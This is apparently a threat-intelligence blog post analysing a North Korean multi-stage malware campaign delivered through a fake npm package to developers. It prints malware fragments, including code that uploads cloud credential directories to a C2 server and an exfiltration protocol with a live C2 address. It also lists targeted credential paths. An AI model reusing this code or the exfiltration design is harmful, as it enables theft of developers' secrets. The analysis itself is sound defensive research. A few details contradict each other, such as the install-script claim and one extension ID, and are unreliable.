BLOG
A Comprehensive Analysis of DPRK's Contagious Interview
A single NPM package that led us to the Lazarus Groups latest campaign targeting software engineers using fake recruiters on LinkedIn, Fiverr and UpWork.
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
Software engineers are still falling prey to fake recruiters who approach them offering high paying roles...
Our team has been tracking DPRK malware for years, and we've been researching and analyzing the "Contagious Interview" campaign since it started in 2023. We have written about DPRK campaigns before which you can read about on our blog in December 2025, and November 2025. Additionally, we have written deep research on Lazarus Group in our Intelligence library.
It started with what looked like an innocuous npm package: tailwindcss-forms-kit. The name seemed legitimate enough—Tailwind CSS is a popular utility-first CSS framework, and a package offering pre-built form components would be exactly the kind of developer productivity tool that gets installed without much scrutiny. But this wasn't a helpful utility. It was the opening move in a sophisticated, multi-stage attack orchestrated by North Korean state-sponsored threat actors.
Over the course of my investigation, I would trace this malicious package through three distinct stages of payload delivery, each more sophisticated than the last. This is the story of that analysis—a technical narrative of how a simple npm install can lead to complete system compromise, cryptocurrency theft, and persistent backdoor access for one of the world's most prolific nation-state adversaries.
According to OpenSourceMalware data, we are currently tracking 988 individual threats, and 4285 individual IOCs attributed to DPRK Lazarus group for "Contagious Interview". Of those threats, 405 of them are git repositories and 373 of them are NPM packages. That's a lot of data.
Stage One: The Initial Infection Vector
Discovery and Context
The first stage came to my attention as part of the broader "Contagious Interview" campaign—a sustained operation targeting software developers, particularly those in the cryptocurrency, Web3, and blockchain sectors. The attack methodology is insidious in its simplicity: threat actors impersonate recruiters on LinkedIn and other job platforms, approach developers with enticing opportunities, and during the "interview process," ask candidates to download and run what appears to be a coding challenge or video conferencing software.
The tailwindcss-forms-kit package represents one delivery mechanism in this campaign. We are tracking multiple distribution mechanisms for Contagious Interview including git repositories, NPM packages and PyPI packages. The sophistication isn't just in the malware itself—it's in the social engineering that convinces skilled developers to execute it voluntarily.
The NPM package
When we initially inspected the tailwindcss-forms-kit NPM package it looked innocuous enough:

It purports to be a library that automatically downloads Tailwind artefacts from Cloudflare, Fastly and other CDNs. Threat actors like Lazarus love packages like this one because the package requires connecting to CDNs and other HTTP resources. That means it would look unusual when the package makes outbound connections to download stuff.
The NPM author, intelliverse, has just one package:

Technical Analysis: JavaScript Obfuscation and the Main Payload
Normally, with DPRK packages you have to find, and then deobfuscate complex JavaScript to find the malicious code, but in this case it was right out in the open in the index.js file. There was no pre or post-install script in the package.json manifest, which means that the threat actors intended this library to get imported and their payload executed that way.

The index.js file used curl to pull data from https://api[.]npoint[.]io/9d94ec6053e75dbd933e which was a heavily obfuscated JavaScript file. The obfuscation technique was sophisticated: a 870-element string array containing all the malware's strings, referenced through hexadecimal offsets via a lookup function. Every variable name was mangled with hex prefixes like _0x2d622a, and the initialization code included a self-modifying loop that shuffled the string array based on mathematical calculations to defeat static analysis.
// Obfuscated lookup pattern observed
function _0x1c18(_0xce1eb9, _0x49ac6a) {
const _0xa6dadc = _0xa6da();
return _0x1c18 = function(_0x1c1851, _0x4b3a72) {
_0x1c1851 = _0x1c1851 - 0x19e;
let _0x9b7ba6 = _0xa6dadc[_0x1c1851];
return _0x9b7ba6;
}, _0x1c18(_0xce1eb9, _0x49ac6a);
}After spending about an hour working with Claude and my internal tooling, I was successfully mapping hex offsets to actual strings and reconstructing the control flow, I uncovered the malware's core mission. This wasn't just any information stealer—it was a multi-platform credential harvester and Remote Access Trojan designed with surgical precision.
Capabilities: What Stage One Could Do
The primary objectives of this first-stage payload were reconnaissance, credential theft, and most importantly, downloading the second stage. Here's what I found it capable of:
Command & Control Infrastructure:
Primary C2 server:
95.216.37.186:5000Real-time bidirectional communication via Socket.IO
WebSocket connections to
/clientendpointMultiple HTTP endpoints for registration, file upload, and secondary payload downloads
Browser Credential Theft: The malware targeted five major browsers—Chrome, Brave, Opera, Yandex, and Microsoft Edge on Windows. But this wasn't simple database copying. On Windows, it implemented full DPAPI (Data Protection API) decryption to extract plaintext passwords:
Read the browser's
Local Statefile to extract the encrypted encryption keyRemove the "DPAPI" prefix from the base64-decoded key
Use Windows DPAPI (
@primno/dpapinpm package) to decrypt the master keyCopy the browser's
Login DataSQLite database to avoid file locksQuery passwords from the database
Decrypt each password using AES-256-GCM with the master key
Export as plaintext to
passwords_<browserIndex>.txt
On macOS, it took a different approach: stealing the entire login.keychain-db file along with browser databases and bash history files. On Linux, it grabbed browser databases and shell history. It was opportunistic but at the same time knew what to grab, when.
Cryptocurrency Wallet Targeting: This is where the financial motivation became crystal clear. The malware had hardcoded extension IDs for seven cryptocurrency wallet browser extensions:
const CRYPTO_EXTENSIONS = [
'nkbihfbeogaeaoehlefnkodbefgpgknn', // MetaMask
'bfnaelmomeimhlpmgjnjophhpkkoljpa', // Phantom
'ibnejdfjmmkpcnlpebklmnkoeoihofec', // Coinbase Wallet
'ejbalbakoplchlghecdalmeeeajnimhm', // MetaMask (alternate)
'egjidjbpglichdcondbcbdnbeeppgdph', // Trust Wallet
'acmacodkjbdgmoleebolmdjonilkdbch', // Bitkeep
'khpkpbbcccdmmclmpigdgddabeilkdpd' // Guarda
];It didn't stop at browser extensions. Desktop wallet applications were equally targeted—Exodus, Electrum, Atomic Wallet, and Guarda. The malware would locate their installation directories, enumerate LevelDB database files, and upload everything to the C2 server.
Cloud Credentials: Perhaps most concerning for organizations, the malware automatically uploaded three critical directories on connection:
~/.aws— Amazon Web Services credentials~/.azure— Microsoft Azure credentials~/.config/gcloud— Google Cloud credentials
This meant that any developer with cloud infrastructure access who executed this package had just handed the keys to potentially millions of dollars worth of cloud resources to a nation-state adversary.
Sensitive File Exfiltration: The malware implemented recursive directory scanning with intelligent filtering. It searched for files containing:
.env— Environment variable files (API keys, database passwords).json— Configuration filesseed— Cryptocurrency seed phrasesphantom,metamask— Wallet-related files
It was smart enough to exclude massive directories like node_modules, .cargo, .npm, and .git to speed up searching and reduce noise. On Windows, it would scan not just the C: drive but also D: through Z:, looking for externally mounted drives or network shares.
Remote Access Capabilities: The Socket.IO connection wasn't just for exfiltration—it provided real-time remote access. The malware registered handlers for commands including:
env— Search for sensitive files across the entire systemimp— Search for "important" files (same as env)pat <pattern>— Search for files matching a specific patternupload— Execute full credential harvesting operationexec— Execute arbitrary shell commandsdir— Browse directory contentsread_file— Read and return file contentsss_upf <file>— Upload a single filess_upd <directory>— Upload an entire directory
The exec command was particularly powerful. It gave the threat actors a full remote shell with special handling for cleanup commands and the ability to run anything via child_process.exec().
Persistence Mechanisms
The malware wasn't content with a one-time data grab. On Windows, it established persistence via the registry:
Registry Path: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Registry Key: NvidiaDriverUpdateThe naming was deliberately deceptive—"NvidiaDriverUpdate" mimics legitimate NVIDIA graphics driver update processes that users are accustomed to seeing.
It also implemented process resurrection: when terminated with SIGINT (Ctrl+C), it would fork a detached child process running server.js before exiting. The new process would continue running independently, providing resilience against manual termination attempts.
What is this first stage?
This wasn't classic Beavertail, and it wasn't OtterCookie. This was something new. We're calling it "CloudBeaverCookie". Yes, we know that's ridiculous, but we don't care.
The Second-Stage Download
So the first stage loader was interesting unto itself, but the most critical function of this stage was downloading and executing the next payload. The malware made an HTTP GET request to:
URL: http://95.216.37.186:5000/download-app
Headers:
X-Client-OS: <win32|linux|darwin>
X-Client-Arch: <x64|x86|arm64>Based on the operating system and architecture, it would download a platform-specific executable:
Windows:
%TEMP%\app.exeLinux:
/tmp/appmacOS:
/var/folders/.../app
The execution was carefully designed for stealth. On Windows:
spawn(OUTPUT_PATH, [], {
detached: true,
stdio: 'ignore',
windowsHide: true, // CRITICAL: No console window
shell: false
});On Linux, it used nohup to ensure the process survived terminal disconnection. On macOS, it simply launched detached with no console output.
The timing was interesting too: Windows execution happened 500ms after download completion, while Linux and macOS executed after only 100ms. This staggered timing might be a rudimentary anti-sandboxing technique or simply operational preference.
Client Identification
Each infected machine reported to the C2 with a unique identifier:
Client ID: 0x338 (824 in decimal)
Hostname: <os.hostname>:<machineId_first_6_chars>The client ID 0x338 appears to be a campaign or variant identifier. If the hostname was empty, the malware fell back to the username from os.userInfo().username. This fingerprinting allowed the threat actors to track and manage compromised systems.
Exfiltration Protocol
Data was sent to the C2 server through multiple methods:
Method 1: Multipart Form Upload
POST http://95.216.37.186:5000/file-upload
Content-Type: multipart/form-data
Fields:
- username: <victim-id>
- folderName: <category>
- fileName: <filename>
- filePath: <original-path>
- file: <binary-data>
- client_id: 0x338
- isUpload: trueMethod 2: JSON Content Upload (for text files)
POST http://95.216.37.186:5000/content-upload
Content-Type: application/json
{
"username": "<victim-id>",
"folderName": "<category>",
"fileName": "<filename>",
"fileContent": "<text-content>",
"client_id": 0x338
}Method 3: Secondary Server (for full file system exfiltration)
POST http://95.216.37.186:3011/file-upload
Headers:
X-Machine-ID: <machine-id>
X-File-Path: <original-path>
X-File-Size: <bytes>
X-Upload-ID: <unique-id>
Body: <binary-stream>The secondary server on port 3011 was particularly interesting. It implemented a sophisticated upload protocol with duplicate detection (checking if files already exist via HTTP HEAD requests to /check), cleanup on failure (notifying the server via /cleanup endpoint), and 30-second timeouts per file.
Web Console is Public
My favourite part of the hunt is when I find the bad guys infrastructure has been left on the public internet. Sure enough, the web console for the C2 servers is available at http://95.216[.]37[.]186:3000. When a compromised server checks into C2, it will show up here as a compromised asset, and ostensibly the threat actors can control it from here.
This is becoming more common for a few reasons: first, DPRK threat actors are managing a lot of infrastructure assets, and sometimes they probably just forget. But guess what's even worse, I think, is that these threat actors don't care about leaving things like this web console visible. They have so many more, that even if this gets taken down, they have other services to replace it.
We haven't had time to test this web console yet, but if we do I'll circle back to this blog post and update it.
Stage Two: OtterCookie and Attribution
The Downloaded Payload
When I analyzed the binary downloaded from /download-app, I expected a simple backdoor. What I found was far more sophisticated—a malware strain that multiple security researchers had identified as OtterCookie, attributed to the Lazarus Group, a North Korean state-sponsored APT organization.
The attribution wasn't speculation. The technical indicators were overwhelming:
Exact Cryptocurrency Wallet Extension ID Matches: Every single extension ID in the first stage matched documented OtterCookie samples:
MetaMask:
nkbihfbeogaeaoehlefnkodbefgpgknnPhantom:
bfnaelmomeimhlpmgjnjophhpkkoljpaCoinbase Wallet:
ibnejdfjmmkpcnlpebklmnkoeoihofecTrust Wallet:
eggidjbpglichdcondbcbdnbeeppgdph
The probability of two independent malware families targeting the exact same seven browser extensions with identical 32-character extension IDs is vanishingly small. These IDs aren't guessable or commonly published—they require specific reconnaissance or code sharing.
Identical Technical Stack:
Socket.IO for C2 communication ✓
better-sqlite3 for browser database access ✓
node-machine-id for device fingerprinting ✓
@primno/dpapi for Windows credential decryption ✓
Same browser targeting (Chrome, Brave, Opera, Edge, Yandex) ✓
Same desktop wallet targeting (Exodus, Electrum, Atomic) ✓
macOS keychain theft ✓
Near-Identical Data Exfiltration Targets:
Browser credentials from multiple Chromium-based browsers
Cryptocurrency wallet extensions and desktop applications
macOS keychain database
Bash and Zsh history files
System information and IP geolocation
Recursive filesystem scanning for .env and .json files
Key Differences: Variant or Evolution?
While the core functionality was identical, I noticed some important differences that suggested this was either a variant or an evolution of previously documented OtterCookie samples:
First, OtterCookie typically uses 1224 but this package uses 5000
Second, the Registry key that OtterCookie typically creates is
NodeUpdateorNodeHelper, but in this case it usedNvidiaDriverUpdate
The deception strategy changed from mimicking Node.js updates to mimicking NVIDIA driver updates. This might be A/B testing different lures or operational security variation.
Surveillance Feature Distribution: The documented OtterCookie has explicit keylogging and screenshot capture modules in the JavaScript payload. This sample had extensive shell access via the exec command but no explicit keylogging in the JavaScript code. However, those features could be in the third-stage payload that it downloads.
Additional Capabilities: Cloud Credentials
One enhancement in this variant was the automatic exfiltration of cloud provider credentials on connection. This wasn't documented in earlier OtterCookie analyses, suggesting operational evolution to target DevOps engineers and cloud-native developers more aggressively.
The connect event handler automatically uploaded:
socket.on('connect', async () => {
await uploadDirectory('~/.config/gcloud', 'gcloud');
await uploadDirectory('~/.aws', 'aws');
await uploadDirectory('~/.azure', 'azure');
// ... register client and send system info
});While we haven't seen OtterCookie look for cloud credentials before, this is hardly an innovation, as it makes sense for DPRK operations targeting cryptocurrency companies to harvest anything it can.
Stage Three: InvisibleFerret Revealed
The Third Download: PyInstaller-Compiled Backdoor
After analyzing the second stage, I knew there had to be more. The malware downloaded yet another payload—this time a much larger binary. I obtained two samples:
Linux Binary: third.stage.payload
- Type: ELF 64-bit LSB executable, x86-64
- Size: 8.4 MB (8,806,400 bytes)
- SHA256: 699cd6c292b8a5933dabee63c74a9a3069ed6432c3433ab945ab46fe816d9e2c
Windows Binary: third.stage.exe
- Type: PE32+ executable (GUI) x86-64
- Size: 8.1 MB (8,493,056 bytes)
- SHA256: 1c8c1a693209c310e9089eb2d5713dc00e8d19f335bde34c68f6e30bccfbe781The near-identical file sizes across different platforms immediately suggested these were packaged versions of the same codebase. At 8+ MB, they were far too large to be simple native executables—something was embedded.
PyInstaller Discovery
String analysis revealed the truth: these were PyInstaller-compiled Python applications. PyInstaller is a legitimate tool that bundles Python scripts with the Python interpreter and all dependencies into a single executable. It's popular among malware authors because:
It eliminates the Python installation requirement on target systems
It complicates static analysis by embedding compiled bytecode
It enables cross-platform distribution from a single Python codebase
It provides a layer of obfuscation via encrypted PYZ archives
I found dozens of PyInstaller-specific strings:
Could not load PyInstaller's embedded PKG archive from the executable
PYINSTALLER_SUPPRESS_SPLASH_SCREEN
PYINSTALLER_STRICT_UNPACK_MODE
PYINSTALLER_RESET_ENVIRONMENT
pyi-bootloader-ignore-signals
PYZ archive entry not found in the TOC!The PYINSTALLER_SUPPRESS_SPLASH_SCREEN variable indicated the malware was configured for stealth mode, preventing any visual indicators during execution. The PYINSTALLER_RESET_ENVIRONMENT variable suggested environment variable clearing to avoid detection based on environmental fingerprinting.
Embedded Python 3.10 Runtime
Further analysis revealed the exact Python version: 3.10. The binaries contained a complete Python 3.10 interpreter with all standard libraries and compiled extension modules:
libpython3.10.so.1.0 (Linux)
Failed to set python home path!
Failed to pre-initialize embedded python interpreter!
PyConfig
Py_InitializeFromConfig
python3.10/lib-dynload/_asyncio.cpython-310-x86_64-linux-gnu.soThis meant the malware could execute sophisticated Python code on any system, regardless of whether Python was installed. For security-conscious developers running minimal systems or containers, this bypassed a potential defense.
Reverse Engineering the Capability Set
Without executing the malware, I could infer its capabilities by examining the embedded Python packages. This is the advantage of PyInstaller from an analyst's perspective—all dependencies are bundled and visible.
Network Communication Libraries:
The presence of Socket.IO and Tornado indicated sophisticated, persistent C2:
engineio.async_socket
engineio.base_socket
socketio.async_admin
socketio.async_aiopika_manager
tornado.http1connection
tornado.httpclient
tornado.httpserver
tornado.ioloop
tornado.iostream
tornado.tcpclient
tornado.tcpserverSocket.IO provides real-time bidirectional communication with automatic reconnection, firewall traversal via WebSocket-to-HTTP fallback, and event-based messaging. Tornado is an asynchronous networking framework that enables long-running event loops for handling multiple simultaneous operations—perfect for a backdoor that needs to maintain C2 connectivity while keylogging, monitoring files, and exfiltrating data.
The HTTP client libraries were comprehensive:
requests (with default User-Agent: "python-requests/2.25.1")
urllib3
urllib3.contrib.pyopenssl
urllib3.contrib.socksThe SOCKS support suggested the malware could route traffic through proxies to evade network monitoring or attribution.
Cryptographic Libraries:
The cryptographic capabilities were extensive:
cryptography
cryptography.hazmat.bindings.openssl
bcrypt
ssl / _ssl
_hashlibThe "hazmat" (Hazardous Materials) subpackage contains low-level cryptographic primitives, suggesting custom crypto protocols rather than high-level abstractions. Bcrypt's presence aligns with credential processing—likely re-encrypting or processing stolen browser passwords before exfiltration.
Keylogging Capabilities:
On Linux, I found:
evdev.device
evdev/_ecodes.cpython-310-x86_64-linux-gnu.so
evdev/_input.cpython-310-x86_64-linux-gnu.so
evdev/_uinput.cpython-310-x86_64-linux-gnu.soEvdev (Event Device) is the Linux kernel interface for input devices. By accessing /dev/input/event* devices, the malware can capture raw keyboard input before it reaches applications—system-wide keylogging at the kernel level.
Data Processing and Compression:
base64
bz2 / _bz2
lzma / _lzma
zlib
tarfileThese libraries enable efficient data exfiltration: compress stolen files with bz2, lzma, or zlib, encode with base64 for transport, and package everything as tar archives. This reduces bandwidth usage and provides obfuscation.
Asynchronous Operations:
asyncio
concurrent.futures
multiprocessing
multiprocessing.connection
threadingThis comprehensive concurrency toolkit means the malware can simultaneously:
Maintain persistent C2 connectivity
Perform system-wide keylogging
Monitor clipboard for cryptocurrency addresses
Enumerate and exfiltrate files
Execute remote commands
All without blocking operations or consuming excessive CPU.
InvisibleFerret Attribution
The technical characteristics matched a known malware family: InvisibleFerret, documented by MITRE ATT&CK as software identifier S1245. This is a modular Python-based backdoor attributed to the "Contagious Interview" threat group (MITRE G1052), operated by Famous Chollima, a subgroup of Lazarus.
MITRE ATT&CK Documentation Correlation:
MITRE documents InvisibleFerret with capabilities that perfectly matched my findings:
Network Communication: Non-standard C2 ports (1224, 2245, 8637, 1245, 80, 3001, 5000) ✓
Credential Theft: Browser passwords from Chrome, Brave, Opera, Yandex, Edge ✓
Cryptocurrency Wallets: Targets wallet extensions and desktop applications ✓
Keylogging: Uses platform-specific libraries (evdev on Linux, pyWinhook on Windows) ✓
Data Exfiltration: FTP, HTTP uploads, Telegram API integration ✓
Persistence: Startup folder (Windows), XDG autostart (Linux) ✓
PyInstaller Evolution:
GitLab Security documented a PyInstaller-compiled InvisibleFerret variant for macOS in September 2025 (payuniversal2, SHA256: eba9fdb2f077f9a3e14cf428162b967b5e6c189db19c33c5b11601efcd02b3d3). My samples represented the Windows and Linux equivalents—a complete cross-platform PyInstaller deployment.
This shift from interpreted Python scripts to compiled executables represents operational maturity. Earlier InvisibleFerret variants required victims to have Python installed. By using PyInstaller, the threat actors eliminate that dependency, increasing reliability across diverse target environments.
Palo Alto Unit 42 Research:
Unit 42's October 2024 report documented continuous InvisibleFerret development:
Evolution of the
ssh_cmdfunction to aggressively kill Python processesUpdates to
ssh_envcommand to search for.envfiles across Windows drives while filteringnode_modulesOptimization from Python-based file filtering to native OS commands (
findstr,find) for performance
The comprehensive library set in my samples provided the foundation for all these capabilities.
InvisibleFerret Capabilities in Detail
Based on the embedded libraries and MITRE documentation, InvisibleFerret provides:
System Reconnaissance:
OS identification, version, architecture
Network configuration and IP geolocation (http://ip-api.com/json)
User enumeration and privilege assessment
Process discovery to identify security tools and target applications
Credential Harvesting:
Browser credentials with platform-specific decryption (DPAPI on Windows, Keychain on macOS)
Cryptocurrency wallet extensions (MetaMask, Phantom, Trust Wallet, etc.)
Desktop wallet applications (Exodus, Atomic, Electrum)
Password managers (1Password, LastPass, Bitwarden)
SSH keys (
~/.ssh/)Cloud credentials (
~/.aws/,~/.azure/,~/.config/gcloud)Environment files (
.env) containing API keys and secrets
Persistent Surveillance:
System-wide keylogging (captures passwords as typed)
Clipboard monitoring (can replace cryptocurrency addresses in real-time)
File system monitoring (immediate exfiltration of new wallet files, SSH keys)
Remote Access:
Arbitrary command execution via
subprocessDynamic Python code execution via
astmoduleAnyDesk deployment for GUI-based remote desktop
File upload/download with tar/zip packaging
Data Exfiltration:
HTTP/HTTPS uploads to
/UploadsendpointFTP transmission
Telegram Bot API (traffic blends with legitimate Telegram usage)
Socket.IO tunneling through primary C2 channel
Persistence:
Windows: Batch files in Startup folder (e.g.,
queue.bat)Linux:
.desktopfiles in~/.config/autostart/macOS: LaunchAgent plists in
~/Library/LaunchAgents/
With all three stages analyzed, I could now map the complete infection sequence:
┌──────────────────────────────────────────────────────────────┐
│ STAGE 1: Social Engineering & Initial Infection │
│ ─────────────────────────────────────────────────────────── │
│ • Fake recruiter contacts developer on LinkedIn │
│ • Multi-round interview process builds trust │
│ • "Coding challenge" delivered as npm package │
│ • Developer runs: npm install tailwindcss-forms-kit │
│ • Malicious install script executes obfuscated JavaScript │
└────────────────────────┬─────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ STAGE 2: OtterCookie Deployment & Credential Theft │
│ ─────────────────────────────────────────────────────────── │
│ • Connects to C2: 95.216.37.186:5000 (Socket.IO) │
│ • Registers with Client ID: 0x338 │
│ • Auto-uploads: ~/.aws, ~/.azure, ~/.config/gcloud │
│ • Downloads stage 3: /download-app (OS-specific binary) │
│ • On command: steals browser passwords (DPAPI decryption) │
│ • On command: steals crypto wallets (7 extensions, 4 apps) │
│ • On command: searches for .env files, seed phrases │
│ • Establishes persistence: NvidiaDriverUpdate registry key │
│ • Maintains remote shell access via Socket.IO │
└────────────────────────┬─────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ STAGE 3: InvisibleFerret Backdoor & Long-Term Access │
│ ─────────────────────────────────────────────────────────── │
│ • PyInstaller-compiled Python 3.10 backdoor (8+ MB) │
│ • Embedded libraries: Socket.IO, Tornado, evdev, crypto │
│ • System-wide keylogging (evdev on Linux, pyWinhook Windows) │
│ • Clipboard monitoring (crypto address replacement) │
│ • Additional credential theft targeting │
│ • AnyDesk deployment for GUI remote access │
│ • Multi-channel exfiltration: HTTP, FTP, Telegram API │
│ • Persistent surveillance and data collection │
│ • Awaits tasking from DPRK operators │
└──────────────────────────────────────────────────────────────┘The Complete Attack Chain
Now, what's really interesting is that if you track the IOCs and how those individual data points connect to each other, you can see the scope of this attack.

Attribution and Strategic Context
Contagious Interview: North Korea's Developer-Targeting Unit (MITRE G1052)
All three stages of this attack chain are attributed to Famous Chollima, also tracked as:
UNC5267 (Mandiant)
WageMole (Malpedia)
CL-STA-0240 (Palo Alto Networks)
DEV#POPPER
Famous Chollima
Nickel Tapestry / Storm-1877 (Microsoft)
Famous Chollima operates as a specialized unit within the broader Lazarus Group, which itself operates under North Korea's Reconnaissance General Bureau (RGB). While other Lazarus units conduct traditional financial institution hacking or cryptocurrency exchange compromises, Famous Chollima focuses specifically on targeting individual developers and technology companies.
Strategic Objectives
North Korea's cyber operations serve multiple strategic objectives:
Revenue Generation: The primary driver. Cryptocurrency theft provides hard currency to the sanctioned regime. The UN Security Council estimates North Korean cyber operations have generated over $3 billion for weapons programs. By targeting developers in Web3 and cryptocurrency sectors, Famous Chollima positions itself to steal wallets, private keys, and exchange access.
Intelligence Collection: Compromising software developers provides access to proprietary source code, software vulnerabilities, and cutting-edge technologies. This serves both military purposes (understanding vulnerabilities in widely-deployed software) and economic purposes (intellectual property theft).
Access Brokerage: Compromised developer workstations often have privileged access to corporate repositories, cloud infrastructure, and production systems. This access can be leveraged for deeper network penetration or sold to other threat actors.
Employment Fraud: The WageMole component involves using stolen identities from victims to apply for remote developer positions at Western companies. By securing remote employment, DPRK operatives funnel salaries back to the regime while maintaining access to employer networks.
Why Developers Make Perfect Targets
The targeting of developers is strategic genius from an adversarial perspective:
High-Value Credentials: Developers have access to production systems, cloud infrastructure, code repositories, and often cryptocurrency wallets
Permissive Security Culture: Developers regularly install packages, run code from the internet, and have permissive security policies to enable productivity
Economic Motivation: Developers in cryptocurrency/Web3 sectors often hold significant cryptocurrency holdings
Access Multiplier: One compromised developer can provide access to an entire organization's infrastructure
Global Remote Work: The rise of remote work makes nationality-based vetting harder and enables North Korean operatives to pose as legitimate job seekers
Social Engineering Defense
Security Awareness Training: I am constantly amazed at home many developers have never heard of this campaign and naively engage with these fake recruiters. Because of my position with OpenSourceMalware, devs reach out every week that have been victims of this ongoing campaign. Unfortunately, I don't see enterprises doing much to help their devs deal with this threat, so I've come up with some ways to help educate developers about specific Contagious Interview tactics:
Red Flags:
Recruiters pressuring candidates to download and execute code
Interview processes requiring screen-sharing while running untrusted code
Coding challenges delivered as executable binaries rather than source code
Video conferencing software distributed via links rather than official app stores
Recruiters insisting on obscure communication platforms
Verification Procedures:
Independently verify recruiter identity through LinkedIn and company websites
Call company main switchboard to confirm recruiter employment
Verify job postings exist on official careers pages
Be suspicious of newly-created profiles with minimal connection history
Code Review Procedures: Implement mandatory review for third-party code:
Run interview coding challenges in isolated containers or VMs
Review npm packages with
npm audit, Snyk, or Socket.dev before installationUse browser-based sandboxes like StackBlitz or CodeSandbox
Never disable security tools or run code with elevated privileges during interviews
System Hardening
Credential Protection:
Use hardware security keys (YubiKeys) for cryptocurrency wallets
Enable MFA on all accounts, preferably TOTP or hardware tokens
Store SSH keys with passphrase encryption
Use password managers with strong master passwords and MFA
Rotate API keys and tokens regularly
Segmentation:
Use separate workstations for development versus production access
Implement jump boxes/bastion hosts for production access
Separate browser profiles for work versus personal use
Run development tools with minimal privileges
Application Control: Implement whitelisting to prevent execution of unsigned executables, particularly from temporary directories and download folders.
Conclusion: A Three-Stage Journey into Nation-State Tradecraft
From the initial npm install tailwindcss-forms-kit to the final PyInstaller-compiled InvisibleFerret backdoor, this attack chain represents years of North Korean operational refinement. Each stage builds on the previous: Stage 1 provides initial access and reconnaissance, Stage 2 (OtterCookie) focuses on immediate value extraction (credentials, cryptocurrency), and Stage 3 (InvisibleFerret) establishes persistent, stealthy access for long-term exploitation.
The technical sophistication is impressive—DPAPI credential decryption, cross-platform malware compilation, multi-channel C2 communication, platform-specific keylogging. But the real genius is the delivery mechanism: fake job interviews that turn developer enthusiasm into infection vectors.
As I finished my analysis, I was left with a sobering realization: every developer is a potential target, and the barrier to compromise is a single moment of insufficient caution. The malware I analyzed will evolve—new package names, different C2 servers, updated obfuscation. But the core attack pattern will remain: find developers, build trust, deliver malware, steal everything.
The best defense isn't perfect technical controls (though those help). It's awareness. Understanding that the friendly recruiter might be a threat actor. Recognizing that the exciting job opportunity might be reconnaissance. Knowing that the simple coding challenge might be a backdoor.
This research has changed how I approach third-party code, job opportunities, and security in my development environment. I hope sharing this journey helps others avoid becoming the next stage in someone's attack chain analysis.
Indicators of Compromise (IOCs)
File Hashes
Stage 3 Linux:
MD5: 5a2c042b086a475dca4c7dcec62693c1
SHA256: 699cd6c292b8a5933dabee63c74a9a3069ed6432c3433ab945ab46fe816d9e2c
Size: 8,806,400 bytesStage 3 Windows:
MD5: 153e2f27e035252d5f7ace69948e80b2
SHA256: 1c8c1a693209c310e9089eb2d5713dc00e8d19f335bde34c68f6e30bccfbe781
Size: 8,493,056 bytesNetwork IOCs
C2 Infrastructure:
95.216.37.186:5000 (primary C2)
95.216.37.186:3011 (secondary exfiltration)
95.164.17.24:1224 (documented InvisibleFerret C2)Host-Based IOCs
Registry Keys (Windows):
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverUpdateFile Paths:
%TEMP%\app.exe (Windows)
/tmp/app (Linux)
~/.config/autostart/*.desktop (Linux persistence)
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\queue.bat (Windows)
~/Library/LaunchAgents/com.avatar.update.wake.plist (macOS)Targeted Paths:
~/.ssh/* (SSH keys)
~/.aws/credentials (AWS)
~/.azure/* (Azure)
~/.config/gcloud/* (GCP)
**/.env (environment files)
Chrome/Brave/Opera/Edge/Yandex User Data directoriesReferences
MITRE ATT&CK S1245 - InvisibleFerret: https://attack.mitre.org/software/S1245/
MITRE ATT&CK G1052 - Contagious Interview: https://attack.mitre.org/groups/G1052/
Palo Alto Networks Unit 42 (October 2024): "Contagious Interview: DPRK Threat Actors Lure Tech Industry Job Seekers"
GitLab Security (September 2025): "BeaverTail variant distributed via malicious repositories"
Socket.dev: "North Korea's Contagious Interview Supply Chain Attack"
ANY.RUN: "InvisibleFerret and OtterCookie Technical Analysis"
Malpedia: py.invisibleferret, js.beavertail
This analysis was conducted in an isolated environment without executing malware. All findings are based on static analysis, string extraction, and correlation with published threat intelligence. Stay vigilant, verify recruiter identities, and never execute untrusted code—even during job interviews.